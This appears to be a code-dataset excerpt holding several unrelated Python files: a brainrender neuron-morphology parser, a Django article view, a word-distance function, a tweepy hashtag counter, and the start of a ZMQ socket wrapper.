shapes.Sphere(pos=self.soma_coords, c=soma_color, r=SOMA_RADIUS)\n\n\t\t\t# Draw dendrites and axons\n\t\t\tif self.render_neurites:\n\t\t\t\tif self.is_json:\n\t\t\t\t\tneuron_actors['dendrites'], dendrites_regions = self.neurites_parser(pd.DataFrame(neuron[\"dendrite\"]), dendrites_color)\n\t\t\t\t\tneuron_actors['axon'], axon_regions = self.neurites_parser(pd.DataFrame(neuron[\"axon\"]), axon_color)\n\t\t\t\telse:\n\t\t\t\t\tneuron_actors['dendrites'], dendrites_regions = self.neurites_parser_swc(pd.DataFrame(neuron[\"dendrite\"]), dendrites_color)\n\t\t\t\t\tneuron_actors['axon'], axon_regions = self.neurites_parser_swc(pd.DataFrame(neuron[\"axon\"]), axon_color)\n\t\t\telse:\n\t\t\t\tneuron_actors['dendrites'], dendrites_regions = [], None\n\t\t\t\tneuron_actors['axon'], axon_regions = [], None\n\n\t\t\tself.decimate_neuron_actors(neuron_actors)\n\t\t\tself.smooth_neurons(neuron_actors)\n\n\t\t\t# force to hemisphere\n\t\t\tif self.force_to_hemisphere is not None:\n\t\t\t\t\tneuron_actors = self.mirror_neuron(neuron_actors)\n\n\t\t\tif USE_MORPHOLOGY_CACHE:\n\t\t\t\tself._cache_neuron(neuron_actors, neuron_name, params)\n\n\t\t\treturn neuron_actors, {'soma':soma_region, 'dendrites':dendrites_regions, 'axon':axon_regions}\n\t\t\n\tdef _cache_neuron(self, neuron_actors, neuron_name, params):\n\t\t\"\"\"\n\t\tSave a loaded neuron\n\n\t\t:param neuron_actors: list of neuron's actors\n\t\t:param neuron_name: name of the neuron\n\n\t\t\"\"\"\n\t\tif not neuron_name or neuron_name is None: return\n\n\t\t# Create/update entry in metadata\n\t\tself.cache_metadata[neuron_name] = params\n\t\tsave_json(self.morphology_cache_metadata, self.cache_metadata, append=True)\n\t\tself.cache_metadata = load_json(self.morphology_cache_metadata)\n\n\t\tfor neurite, actor in neuron_actors.items():\n\t\t\tif actor is None: continue\n\t\t\tfl = os.path.join(self.morphology_cache, neuron_name+\"_\"+neurite+\".vtk\")\n\t\t\tif isinstance(actor, list):\n\t\t\t\tif not actor: continue\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\"Something went wrong while saving the actor\")\n\t\t\tactor.write(fl)\n\n\tdef _load_cached_neuron(self, neuron_name, params):\n\t\t\"\"\"\n\t\tLoad a cached neuron's VTK actors\n\n\t\t:param neuron_name: str with neuron name\n\n\t\t\"\"\"\n\t\tif not neuron_name or neuron_name is None:\n\t\t\treturn None\n\n\t\t# Load the yaml file with metadata about previously rendered neurons\n\t\tif not neuron_name in self.cache_metadata.keys(): # the neuron was cached before the metadata was in place\n\t\t\treturn None\n\n\t\t# Check if the params match those of the cached neuron\n\t\tcached_params = self.cache_metadata[neuron_name]\n\t\tdiff_params = [v1 for v1,v2 in zip(cached_params.values(), params.values())\\\n\t\t\t\t\t\t\tif v1 != v2]\n\t\tif diff_params: \n\t\t\treturn None\n\n\t\t# All is good with the params, load cached actors\n\t\tif self.render_neurites:\n\t\t\tallowed_components = ['soma', 'axon', 'dendrites']\n\t\t\tskipped_components = []\n\t\telse:\n\t\t\tallowed_components = ['soma']\n\t\t\tskipped_components = ['axon', 'dendrites']\n\n\t\tneuron_files = [f for f in listdir(self.morphology_cache) if neuron_name in f]\n\t\tif not neuron_files: return None\n\t\telse:\n\t\t\tneuron_actors = {}\n\t\t\tfor f in neuron_files:\n\t\t\t\tcomponent = os.path.split(f)[-1].split(\".\")[0].split(\"_\")[-1]\n\t\t\t\tif component not in allowed_components and component not in skipped_components:\n\t\t\t\t\traise ValueError(\"Weird file name, unsure what to do: {}\".format(f))\n\t\t\t\telif component not in allowed_components and component in skipped_components:\n\t\t\t\t\tcontinue\n\t\t\t\tneuron_actors[component] = load(f)\n\t\t\treturn neuron_actors\n\n\tdef mirror_neuron(self, neuron_actors):\n\t\t\"\"\"\n\t\tMirror over the sagittal plane between the two hemispheres.\n\n\t\t:param neuron_actors: list of actors for one neuron.\n\n\t\t\"\"\"\n\t\tdef _mirror_neuron(neuron, mcoord):\n\t\t\t\"\"\"\n\t\t\tActually takes care of mirroring a neuron\n\n\t\t\t:param neuron: neuron's meshes\n\t\t\t:param mcoord: coordinates of the point to use for the mirroring\n\n\t\t\t\"\"\"\n\t\t\t# This function does the actual mirroring\n\t\t\tfor name, actor in neuron.items():\n\t\t\t\t# get mesh points coords and shift them to other hemisphere\n\t\t\t\tif isinstance(actor, (list, tuple, str)) or actor is None:\n\t\t\t\t\tcontinue\n\t\t\t\tneuron[name] = mirror_actor_at_point(actor, mcoord, axis='x')\n\t\t\treturn neuron\n\n\t\t# Makes sure that the neuron is in the desired hemisphere\n\t\tmirror_coor = self.scene.get_region_CenterOfMass('root', unilateral=False)[2]\n\n\t\tif self.force_to_hemisphere.lower() == \"left\":\n\t\t\tif self.soma_coords[2] > mirror_coor:\n\t\t\t\tneuron_actors = _mirror_neuron(neuron_actors, mirror_coor)\n\t\telif self.force_to_hemisphere.lower() == \"right\":\n\t\t\tif self.soma_coords[2] < mirror_coor:\n\t\t\t\tneuron_actors = self._mirror_neuron(neuron_actors, mirror_coor)\n\t\telse:\n\t\t\traise ValueError(\"unrecognised argument for force to hemisphere: {}\".format(self.force_to_hemisphere))\n\t\treturn neuron_actors\n\n\n\n\t@staticmethod\n\tdef decimate_neuron_actors(neuron_actors):\n\t\t\"\"\"\n\t\tCan be used to decimate the VTK actors for the neurons (i.e. reduce number of polygons). Should make the rendering faster.\n\n\t\t:param neuron_actors: list of actors for a neuron\n\n\t\t\"\"\"\n\t\tif DECIMATE_NEURONS:\n\t\t\tfor k, actors in neuron_actors.items():\n\t\t\t\tif not isinstance(actors, list):\n\t\t\t\t\tactors.decimate()\n\t\t\t\telse:\n\t\t\t\t\tfor actor in actors:\n\t\t\t\t\t\tactor.decimate() \n\n\t@staticmethod\n\tdef smooth_neurons(neuron_actors):\n\t\t\"\"\"\n\t\tCan be used to smooth the VTK actors for the neurons. Should improve apect of neurons\n\n\t\t:param neuron_actors: list of actors for a neuron\n\n\t\t\"\"\"\n\t\tif SMOOTH_NEURONS:\n\t\t\tfor k, actors in neuron_actors.items():\n\t\t\t\tif actors is None: continue\n\t\t\t\tif not isinstance(actors, list):\n\t\t\t\t\tactors.smoothLaplacian()\n\t\t\t\telse:\n\t\t\t\t\tfor actor in actors:\n\t\t\t\t\t\tactor.smoothLaplacian()\n\n\tdef _get_neurites_radius(self):\n\t\t\"\"\" \n\t\t\tGet the neurites radius parameter\n\t\t\"\"\"\n\t\tif self.neurite_radius is None:\n\t\t\treturn DEFAULT_NEURITE_RADIUS\n\t\telse:\n\t\t\treturn self.neurite_radius\n\n\tdef neurites_parser(self, neurites, color):\n\t\t\"\"\"\n\t\tGiven a dataframe with all the samples for some neurites, create \"Tube\" actors that render each neurite segment.\t\n\t\t----------------------------------------------------------------\n\t\tThis function works by first identifyingt the branching points of a neurite structure. Then each segment between either two branchin points\n\t\tor between a branching point and a terminal is modelled as a Tube. This minimizes the number of actors needed to represent the neurites\n\t\twhile stil accurately modelling the neuron.\n\t\t\n\t\tKnown issue: the axon initial segment is missing from renderings.\n\n\t\t:param neurites: dataframe with each sample for the neurites\n\t\t:param color: color to be assigned to the Tube actor\n\n\t\t\n\t\t\"\"\"\n\t\tneurite_radius = self._get_neurites_radius()\n\n\t\t# get branching points\n\t\ttry:\n\t\t\tparent_counts = neurites[\"parentNumber\"].value_counts()\n\t\texcept:\n\t\t\tif len(neurites) == 0:\n\t\t\t\tprint(\"Couldn't find neurites data\")\n\t\t\t\treturn [], []\n\t\t\telse:\n\t\t\t\traise ValueError(\"Something went wrong while rendering neurites:\\n{}\".format(neurites))\n\t\tbranching_points = parent_counts.loc[parent_counts > 1]\n\n\t\t# loop over each branching point\n\t\tactors = []\n\t\tfor idx, bp in branching_points.iteritems():\n\t\t\t# get neurites after the branching point\n\t\t\tbp = neurites.loc[neurites.sampleNumber == idx]\n\t\t\tpost_bp = neurites.loc[neurites.parentNumber == idx]\n\t\t\t\n\t\t\t# loop on each branch after the branching point\n\t\t\tfor bi, branch in post_bp.iterrows():\n\t\t\t\tif bi == 0:\n\t\t\t\t\tbranch_points = [self.soma_coords, get_coords(bp, mirror=self.mirror_coord, mirror_ax=self.mirror_ax), get_coords(branch, mirror=self.mirror_coord, mirror_ax=self.mirror_ax)] # this list stores all the samples that are part of a branch\n\t\t\t\telse:\n\t\t\t\t\tbranch_points = [get_coords(bp, mirror=self.mirror_coord, mirror_ax=self.mirror_ax), get_coords(branch, mirror=self.mirror_coord, mirror_ax=self.mirror_ax)] \n\n\t\t\t\t# loop over all following points along the branch, until you meet either a terminal or another branching point. store the points\n\t\t\t\tidx = branch.sampleNumber\n\t\t\t\twhile True:\n\t\t\t\t\tnxt = neurites.loc[neurites.parentNumber == idx]\n\t\t\t\t\tif len(nxt) != 1: \n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tbranch_points.append(get_coords(nxt, mirror=self.mirror_coord, mirror_ax=self.mirror_ax))\n\t\t\t\t\t\tidx += 1\n\n\t\t\t\t# if the branch is too short for a tube, create a sphere instead\n\t\t\t\tif len(branch_points) < 2: # plot either a line between two branch_points or a spheere\n\t\t\t\t\tactors.append(shapes.Sphere(branch_points[0], c=\"g\", r=100))\n\t\t\t\t\tcontinue \n\t\t\t\t\n\t\t\t\t# create tube actor\n\t\t\t\tactors.append(shapes.Tube(branch_points, r=neurite_radius, c=color, alpha=1, res=NEURON_RESOLUTION))\n\t\t\n\t\t# merge actors' meshes to make rendering faster\n\t\tmerged = merge(*actors)\n\t\tif merged is None:\n\t\t\treturn None, None\n\t\tmerged.color(color)\n\n\t\t# get regions the neurites go through\n\t\tregions = []\n\t\tif \"allenId\" in neurites.columns:\n\t\t\tfor rid in set(neurites.allenId.values):\n\t\t\t\ttry:\n\t\t\t\t\tregion = self.alleninfo.loc[self.alleninfo.allenId == rid].acronym.values[0]\n\t\t\t\t\tregions.append(self.scene.get_structure_parent(region)['acronym'])\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\n\t\treturn merged, regions\n\n\tdef neurites_parser_swc(self, neurites, color):\n\t\t\"\"\"\n\t\tParses neuron's neurites when the data are provided as .swc\n\n\t\t:param neurites: datafarme with neurites samples \n\t\t:param color: color for vtk actor\n\n\t\t\"\"\"\n\t\tcoords = [self.soma_coords]\n\t\tcoords.extend([get_coords(sample, mirror=self.mirror_coord, mirror_ax=self.mirror_ax) for i, sample in neurites.iterrows()])\n\t\tlines = shapes.Spheres(coords, r=38, c=color, res=4)\n\t\tregions = []\n\t\treturn lines, regions\n\n\tdef filter_neurons_by_region(self, neurons, regions, neurons_regions=None):\n\t\t\"\"\"\n\t\tOnly returns neurons whose soma is in one of the regions in regions\n\n\t\t:param neurons: list of neurons\n\t\t:param regions: list of regions\n\t\t:param neurons_regions: list of regions each neuron is in (Default value = None)\n\n\t\t\"\"\"\n\n\t\tif not isinstance(neurons, list): neurons = [neurons]\n\t\tif not isinstance(regions, list): regions = [regions]\n\t\tif neurons_regions is not None:\n\t\t\tif not isinstance(neurons_regions, list):\n\t\t\t\tneurons_regions = [neurons_regions]\n\n\t\tkeep = []\n\t\tfor i, neuron in enumerate(neurons):\n\t\t\tif neurons_regions is None:\n\t\t\t\ttry:\n\t\t\t\t\tcoords = neuron['soma'].centerOfMass()\n\t\t\t\texcept: raise ValueError(neuron)\n\t\t\t\tregion = self.scene.get_region_from_point(coords)\n\t\t\telse:\n\t\t\t\tif isinstance(neurons_regions[0], dict):\n\t\t\t\t\tregion = neurons_regions[i]['soma']\n\t\t\t\telse:\n\t\t\t\t\tregion = neurons_regions[i]\n\n\t\t\tif region is None: \n\t\t\t\tcontinue\n\t\t\telif region in regions:\n\t\t\t\tkeep.append(neuron)\n\t\t\telse:\n\t\t\t\tcontinue\n\n\t\treturn keep\n\n\tdef parse_neurons_swc_allen(self, morphology, neuron_number):\n\t\t\"\"\"\n\t\tSWC parser for Allen neuron's morphology data, they're a bit different from the Mouse Light SWC\n\n\t\t:param morphology: data with morphology\n\t\t:param neuron_number: int, number of the neuron being rendered.\n\n\t\t\"\"\"\n\t\t# Get params\n\t\tneurite_radius = self._get_neurites_radius()\n\t\tsoma_color, axon_color, dendrites_color, soma_region = \\\n\t\t\tself._render_neuron_get_params(neuron_number, soma=morphology.soma)\n\n\t\t# Create soma actor\n\t\tneuron_actors, regions = {\"soma\":None, \"axon\":[], \"dendrites\":[]}, {'soma':soma_region, 'dendrites':[], 'axon':[]}\n\t\tneuron_actors['soma'] = shapes.Sphere(pos=get_coords(morphology.soma)[::-1], c=soma_color, r=SOMA_RADIUS)\n\n\t\t# loop over trees\n\t\tif self.render_neurites:\n\t\t\tfor tree in morphology._tree_list:\n\t\t\t\ttree = pd.DataFrame(tree)\n\n\t\t\t\t# get node numbers in t\n\t\t\t\t# get the first non soma node\n\t\t\t\tfirst_node_type = tree.loc[tree.type != morphology.SOMA].type.values[0]\n\n\t\t\t\t# get the branch type\n\t\t\t\tif first_node_type == morphology.AXON:\n\t\t\t\t\tneurite = \"axon\"\n\t\t\t\t\tcolor = axon_color\n\t\t\t\telse:\n\t\t\t\t\tneurite = \"dendrites\"\n\t\t\t\t\tcolor = dendrites_color\n\t\t\t\t\n\t\t\t\t# Get all the points that make the branch\n\t\t\t\tbranch_points = [[x, y, z] for x, y, z in zip(tree.x.values, tree.y.values, tree.z.values)]\n\n\t\t\t\t# Create actor\n\t\t\t\tneuron_actors[neurite].append(\\\n\t\t\t\t\tshapes.Tube(branch_points, r=neurite_radius, \n\t\t\t\t\t\t\tc=color, alpha=1, res=NEURON_RESOLUTION))\n\n\t\t\t# merge actors' meshes to make rendering faster\n\t\t\tfor neurite, color in zip([\"axon\", \"dendrites\"], [axon_color, dendrites_color]):\n\t\t\t\tif neuron_actors[neurite]:\n\t\t\t\t\tneuron_actors[neurite] = merge(*neuron_actors[neurite])\n\t\t\t\t\tneuron_actors[neurite].color(color)\n\n\t\tself.decimate_neuron_actors(neuron_actors)\n\t\tself.smooth_neurons(neuron_actors)\n\n\t\t# force to hemisphere\n\t\tif self.force_to_hemisphere is not None:\n\t\t\t\tneuron_actors = self.mirror_neuron(neuron_actors)\n\n\t\t# Check output\n\t\tif not neuron_actors[\"axon\"]: neuron_actors[\"axon\"] = None\n\t\tif not neuron_actors[\"dendrites\"]: neuron_actors[\"dendrites\"] = None\n\n\t\treturn neuron_actors, regions\n\n\tdef parse_neuron_swc(self, filepath, neuron_number):\n\t\t\"\"\"\n\t\tGiven an swc file, render the neuron\n\n\t\t:param filepath: str with path to swc file\n\t\t:param neuron_number: numnber of neuron being rendered\n\n\t\t\"\"\"\n\t\t# details on swc files: http://www.neuronland.org/NLMorphologyConverter/MorphologyFormats/SWC/Spec.html\n\t\t_sample = namedtuple(\"sample\", \"sampleN structureID x y z r parent\") # sampleN structureID x y z r parent\n\n\t\t# in json {'allenId': 1021, 'parentNumber': 5, 'radius': 0.5, 'sampleNumber': 6, \n\t\t# 'structureIdentifier': 2, 'x': 6848.52419500001, 'y': 2631.9816355, 'z': 3364.3552898125}\n\t\t\n\t\tif not os.path.isfile(filepath) or not \".swc\" in filepath.lower(): raise ValueError(\"unrecognized file path: {}\".format(filepath))\n\n\t\ttry:\n\t\t\tmorphology = allen_swc.read_swc(filepath)\n\t\t\treturn self.parse_neurons_swc_allen(morphology, neuron_number)\n\t\texcept:\n\t\t\tpass # the .swc file fas not generate with by allen\n\n\t\tf = open(filepath)\n\t\tcontent = f.readlines()\n\t\tf.close()\n\n\t\t# crate empty dicts for soma axon and dendrites\n\t\tdata = {'soma': dict(allenId=[], parentNumber=[], radius=[], sampleNumber=[], x=[], y=[], z=[]),\n\t\t\t\t'axon': dict(allenId=[], parentNumber=[], radius=[], sampleNumber=[], x=[], y=[], z=[]),\n\t\t\t\t'dendrite': dict(allenId=[], parentNumber=[], radius=[], sampleNumber=[], x=[], y=[], z=[])}\n\n\t\t# start looping around samples\n\t\tfor sample in content:\n\t\t\tif sample[0] == '#': \n\t\t\t\tcontinue # skip comments\n\t\t\ts = _sample(*[float(samp.replace(\"\\n\", \"\")) for samp in sample.split(\"\\t\")])\n\n\t\t\t# what structure is this\n\t\t\tif s.structureID in [1., -1.]: key = \"soma\"\n\t\t\telif s.structureID in [2.]: key = 'axon'\n\t\t\telif s.structureID in [3., 4.]: key = 'dendrite'\n\t\t\telse:\n\t\t\t\traise ValueError(\"unrecognised sample in SWC file: {}\".format(s))\n\n\t\t\t# append data to dictionary\n\t\t\tdata[key]['parentNumber'].append(int(s.parent))\n\t\t\tdata[key]['radius'].append(s.r)\n\t\t\tdata[key]['x'].append(s.x)\n\t\t\tdata[key]['y'].append(s.y)\n\t\t\tdata[key]['z'].append(s.z)\n\t\t\tdata[key]['sampleNumber'].append(int(s.sampleN))\n\t\t\tdata[key]['allenId'].append(-1) # TODO get allen ID from coords\n\n\t\treturn data\n\n\tdef handle_parsing_swc(self, swc_files, is_iter):\n\t\t\"\"\"\n\t\t\tTakes care of handling the case in which one or multiple SWC files are passed.\n\t\t\tWhich renderer and what is returned varies depending on the source of the SWC, so this\n\t\t\tfunction hadles this variable outcomes.\n\n\t\t:param swc_files: list of swc files\n\t\t:param is_iter: \n\n\t\t\"\"\"\n\t\tif not is_iter:\n\t\t\tres = self.parse_neuron_swc(swc_files, 0)\n\t\t\tif len(res) == 1:\n\t\t\t\treturn [res]\n\t\t\telse:\n\t\t\t\tself.actors, self.regions = [res[0]], res[1]\n\t\t\t\tself.rendering_necessary = False\n\t\t\t\treturn None\n\n\t\telse:\n\t\t\t# ? Render multiple SWC files\n\t\t\tself.n_neurons = len(swc_files)\n\n\t\t\t# render\n\t\t\tdata = [self.parse_neuron_swc(f, i) for i, f in enumerate(swc_files)]\n\n\t\t\t# Check outcome\n\t\t\tif len(data[0]) == 1:\n\t\t\t\treturn data\n\t\t\telse:\n\t\t\t\tself.actors, self.regions = [d[0] for d in data], [d[1] for d in data]\n\t\t\t\tself.rendering_necessary = False\n\n\ndef edit_neurons(neurons, **kwargs):\n\t\"\"\"\n\t\tModify neurons actors after they have been created, at render time.\n\t\tneurons should be a list of dictionaries with soma, dendrite and axon actors of each neuron.\n\n\t:param neurons: list of dictionaries with vtk actors for each neuron\n\t:param **kwargs: \n\n\t\"\"\"\n\tsoma_color, axon_color, dendrites_color = None, None, None\n\tfor neuron in neurons:\n\t\tif \"random_color\" in kwargs:\n\t\t\tif kwargs[\"random_color\"]:\n\t\t\t\tif not isinstance(kwargs[\"random_color\"], str):\n\t\t\t\t\tcolor = get_random_colors(n_colors=1)\n\t\t\t\telse: # random_color is a colormap \n\t\t\t\t\tcolor = colorMap(np.random.randint(1000), name=kwargs[\"random_color\"], vmin=0, vmax=1000)\n\t\t\t\taxon_color = soma_color = dendrites_color = color\n\t\telif \"color_neurites\" in kwargs:\n\t\t\tsoma_color = neuron[\"soma\"].color()\n\t\t\tif not kwargs[\"color_neurites\"]:\n\t\t\t\taxon_color = dendrites_color = soma_color\n\t\t\telse:\n\t\t\t\tif not \"axon_color\" in kwargs:\n\t\t\t\t\t# print(\"no axon color provided, using somacolor\")\n\t\t\t\t\taxon_color = soma_color\n\t\t\t\telse:\n\t\t\t\t\taxon_color = kwargs[\"axon_color\"]\n\n\t\t\t\tif not \"dendrites_color\" in kwargs:\n\t\t\t\t\t# print(\"no dendrites color provided, using somacolor\")\n\t\t\t\t\tdendrites_color = soma_color\n\t\t\t\telse:\n\t\t\t\t\tdendrites_color = kwargs[\"dendrites_color\"]\n\t\telif \"soma_color\" in kwargs:\n\t\t\tif check_colors(kwargs[\"soma_color\"]):\n\t\t\t\tsoma_color = kwargs[\"soma_color\"]\n\t\t\telse: \n\t\t\t\tprint(\"Invalid soma color provided\")\n\t\t\t\tsoma_color = neuron[\"soma\"].color()\n\t\telif \"axon_color\" in kwargs:\n\t\t\tif check_colors(kwargs[\"axon_color\"]):\n\t\t\t\taxon_color = kwargs[\"axon_color\"]\n\t\t\telse: \n\t\t\t\tprint(\"Invalid axon color provided\")\n\t\t\t\taxon_color = neuron[\"axon\"].color()\n\t\telif \"dendrites_color\" in kwargs:\n\t\t\tif check_colors(kwargs[\"dendrites_color\"]):\n\t\t\t\tdendrites_color = kwargs[\"dendrites_color\"]\n\t\t\telse: \n\t\t\t\tprint(\"Invalid dendrites color provided\")\n\t\t\t\tdendrites_color = neuron[\"dendrites\"].color()\n\n\t\tif soma_color is not None: \n\t\t\tneuron[\"soma\"].color(soma_color)\n\t\tif axon_color is not None: \n\t\t\tneuron[\"axon\"].color(axon_color)\n\t\tif dendrites_color is not None: \n\t\t\tneuron[\"dendrites\"].color(dendrites_color)\n\n\n\t\tif \"mirror\" in kwargs:\n\t\t\tif \"mirror_coord\" in kwargs:\n\t\t\t\tmcoord = kwargs[\"mirror_coord\"]\n\t\t\telse:\n\t\t\t\traise ValueError(\"Need to pass the mirror point coordinate\")\n\t\t\t\n\t\t\t# mirror X positoin\n\t\t\tfor name, actor in neuron.items():\n\t\t\t\tif \"only_soma\" in kwargs:\n\t\t\t\t\tif kwargs[\"only_soma\"] and name != \"soma\": continue\n\t\t\t\t\t\n\t\t\t\t# get mesh points coords and shift them to other hemisphere\n\t\t\t\tif isinstance(actor, list):\n\t\t\t\t\tcontinue\n\t\t\t\tcoords = actor.points()\n\t\t\t\tshifted_coords = [[c[0], c[1], mcoord + (mcoord-c[2])] for c in coords]\n\t\t\t\tactor.points(shifted_coords)\n\t\t\t\n\t\t\t\tneuron[name] = actor.mirror(axis='n')\n\n\treturn neurons\n\n\n","sub_path":"brainrender/Utils/parsers/mouselight.py","file_name":"mouselight.py","file_ext":"py","file_size_in_byte":29978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"654464985","text":"\nfrom django.shortcuts import render, get_object_or_404\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.contrib.auth.models import User\nfrom .models import Article \nfrom django.contrib.auth.decorators import login_required\n\n\ndef home(request):\n \n \n\n user_list = Article.objects.all().order_by('-Date')\n page = request.GET.get('page', 1)\n\n paginator = Paginator(user_list, 6)\n try:\n users = paginator.page(page)\n except PageNotAnInteger:\n users = paginator.page(1)\n except EmptyPage:\n users = paginator.page(paginator.num_pages)\n\n \n return render(request, 'Home1.html', {'users':users})\n\n@login_required(login_url=\"/nlogin\")\ndef detail(request, slug1):\n articleD = get_object_or_404(Article, slug1=slug1)\n return render(request, 'Detail.html',{'articleD':articleD})\n","sub_path":"Articles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"171380677","text":"import re\nfrom typing import Union\n\ndef find_shortest_distance(text: str, word1: str, word2: str, \n ignore_case: bool=False) -> Union[int, None]:\n \"\"\"Shortest word distance calculator\n\n Finds the shortest distance counted in number of words of two \n given words in a text.\n\n Executes in linear time.\n\n Args:\n text (str): The text to search through\n word1 (str): First word\n word2 (str): Second word\n ignore_case (bool): Ignore case of words matched\n\n Returns:\n Number of words inbetween. None unless both words are found.\n \"\"\"\n \n flags = re.IGNORECASE if ignore_case else 0\n \n # Find sequences of word1 followed by whatever string up to word2,\n # and the reverse (from word2 to word1)\n pattern = r'(?:^|\\W)%s(.{1,}?)%s(?:\\W|$)'\n matches = re.findall(pattern % (word1, word2), text, flags)\n if not word1 == word2:\n matches += re.findall(pattern % (word2, word1), text, flags)\n\n if matches:\n word_match = re.compile(r'\\w+')\n # Count the words found in the matches and return the smallest\n return min(len(word_match.findall(m)) for m in matches)\n else:\n return None\n\n\nif __name__ == '__main__':\n sample = 'We do value and reward motivation in our development team. Development is a key skill for a DevOp.'\n distance = find_shortest_distance(sample, 'motivation', 'development')\n print(\"Sample: \", sample)\n print(\"Distance for 'motivation' and 'development': \", distance)\n","sub_path":"shortest_distance.py","file_name":"shortest_distance.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"355344097","text":"import json\nimport tweepy\nfrom tweepy import OAuthHandler\nfrom collections import Counter\nfrom prettytable import PrettyTable\nfrom twitter import get_auth, twitter_api\n\nauth = get_auth()\n# Create instance of the Tweepy API\napi = twitter_api()\n\ncount = 10\nquery = 'summer'\n\n# Get all tweets for the search query\nresults = [status for status in tweepy.Cursor(api.search, q=query).items(count)]\n\nstatus_texts = [status._json['text'] for status in results]\nscreen_names = [status._json['user']['screen_name'] for status in results for mention in status._json['entities']['user_mentions']]\nhashtags = [hashtag['text'] for status in results for hashtag in status._json['entities']['hashtags']]\nwords = [word for text in status_texts for word in text.split()]\n\n# for entry in [screen_names, hashtags, words]:\n# counter = Counter(entry)\n# print(counter.most_common()[:10])\n\n## Prettify results\nfor label, data in (('Text', status_texts), ('Screen Name', screen_names), ('Word', words)):\n table = PrettyTable(field_names=[label, 'Count'])\n counter = Counter(data)\n [table.add_row(entry) for entry in counter.most_common()[:10]]\n table.align[label], table.align['Counter'] = 'l', 'r' # align the columns\n print(table)","sub_path":"tweet_attributes_counter.py","file_name":"tweet_attributes_counter.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"154432159","text":"import json\nimport re\nimport time\nimport typing\nimport warnings\nimport inspect\nimport numpy as np\nimport zmq\nfrom weakref import WeakSet\nimport threading\nimport copy\nimport sys\n\n\nclass DataSocket:\n \"\"\"\n Wrapper for ZMQ socket that sends and recieves dictionaries\n \"\"\"\n\n def __init__(self, context, port, type, debug, ip_address=\"127.0.0.1\"):\n # request reply socket\n self._socket = context.socket(type)\n self._debug = debug\n # store these as wekrefs so that circular refs dont prevent garbage collection\n self._java_objects = WeakSet()\n self._port = port\n if type == zmq.PUSH:\n if debug:\n print(\"binding {}\".format(port))\n self._socket.bind(\"tcp://{}:{}\".format(ip_address, port))\n else:\n if debug:\n print(\"connecting {}\".format(port))\n self._socket.connect(\"tcp://{}:{}\".format(ip_address, port))\n\n def _register_java_object(self, object):\n self._java_objects.add(object)\n\n def _convert_np_to_python(self, d):\n \"\"\"\n recursively search dictionary and convert any values from numpy floats/ints to\n python floats/ints so they can be json serialized\n :return:\n \"\"\"\n if type(d) != dict:\n return\n for k, v in d.items():\n if isinstance(v, dict):\n self._convert_np_to_python(v)\n elif type(v) == list:\n for e in v:\n self._convert_np_to_python(e)\n elif np.issubdtype(type(v), np.floating):\n d[k] = float(v)\n elif np.issubdtype(type(v), np.integer):\n d[k] = int(v)\n\n def _make_array_identifier(self, entry):\n \"\"\"\n make a string to replace bytes data or numpy array in message, which encode data type if numpy\n \"\"\"\n # make up a random 32 bit int as the identifier\n # TODO: change to simple counting\n identifier = np.random.randint(-(2 ** 31), 2 ** 31 - 1, 1, dtype=np.int32)[0]\n # '@{some_number}_{bytes_per_pixel}'\n # if its a numpy array, include bytes per pixel, otherwise just interpret it as raw byts\n return identifier, \"@\" + str(int(identifier)) + \"_\" + str(\n 0 if isinstance(entry, bytes) else entry.dtype.itemsize\n )\n\n def _remove_bytes(self, bytes_data, structure):\n if isinstance(structure, list):\n for i, entry in enumerate(structure):\n if isinstance(entry, bytes) or isinstance(entry, np.ndarray):\n int_id, str_id = self._make_array_identifier(entry)\n structure[i] = str_id\n bytes_data.append((int_id, entry))\n elif isinstance(entry, list) or isinstance(entry, dict):\n self._remove_bytes(bytes_data, entry)\n elif isinstance(structure, dict):\n for key in structure.keys():\n entry = structure[key]\n if isinstance(entry, bytes) or isinstance(entry, np.ndarray):\n int_id, str_id = self._make_array_identifier(entry)\n structure[key] = str_id\n bytes_data.append((int_id, entry))\n elif isinstance(entry, list) or isinstance(entry, dict):\n self._remove_bytes(bytes_data, structure[key])\n\n def send(self, message, timeout=0):\n if message is None:\n message = {}\n # make sure any np types convert to python types so they can be json serialized\n self._convert_np_to_python(message)\n # Send binary data in seperate messages so it doesnt need to be json serialized\n bytes_data = []\n self._remove_bytes(bytes_data, message)\n message_string = json.dumps(message)\n if self._debug:\n print(\"DEBUG, sending: {}\".format(message))\n # convert keys to byte array\n key_vals = [(identifier.tobytes(), value) for identifier, value in bytes_data]\n message_parts = [bytes(message_string, \"iso-8859-1\")] + [\n item for keyval in key_vals for item in keyval\n ]\n if timeout == 0:\n self._socket.send_multipart(message_parts)\n else:\n start = time.time()\n while 1000 * (time.time() - start) < timeout:\n try:\n self._socket.send_multipart(message_parts, flags=zmq.NOBLOCK)\n return True\n except zmq.ZMQError:\n pass # ignore, keep trying\n return False\n\n def _replace_bytes(self, dict_or_list, hash, value):\n \"\"\"\n Replace placeholders for byte arrays in JSON message with their actual values\n \"\"\"\n if isinstance(dict_or_list, dict):\n for key in dict_or_list:\n if isinstance(dict_or_list[key], str) and \"@\" in dict_or_list[key]:\n hash_in_message = int(\n dict_or_list[key].split(\"@\")[1], 16\n ) # interpret hex hash string\n if hash == hash_in_message:\n dict_or_list[key] = value\n return\n elif isinstance(dict_or_list[key], list) or isinstance(dict_or_list[key], dict):\n self._replace_bytes(dict_or_list[key], hash, value)\n elif isinstance(dict_or_list, list):\n for i, entry in enumerate(dict_or_list):\n if isinstance(entry, str) and \"@\" in dict_or_list[entry]:\n hash_in_message = int(entry.split(\"@\")[1], 16) # interpret hex hash string\n if hash == hash_in_message:\n dict_or_list[i] = value\n return\n elif isinstance(entry, list) or isinstance(entry, dict):\n self._replace_bytes(entry, hash, value)\n\n def receive(self, timeout=0):\n if timeout == 0:\n reply = self._socket.recv_multipart()\n else:\n start = time.time()\n reply = None\n while 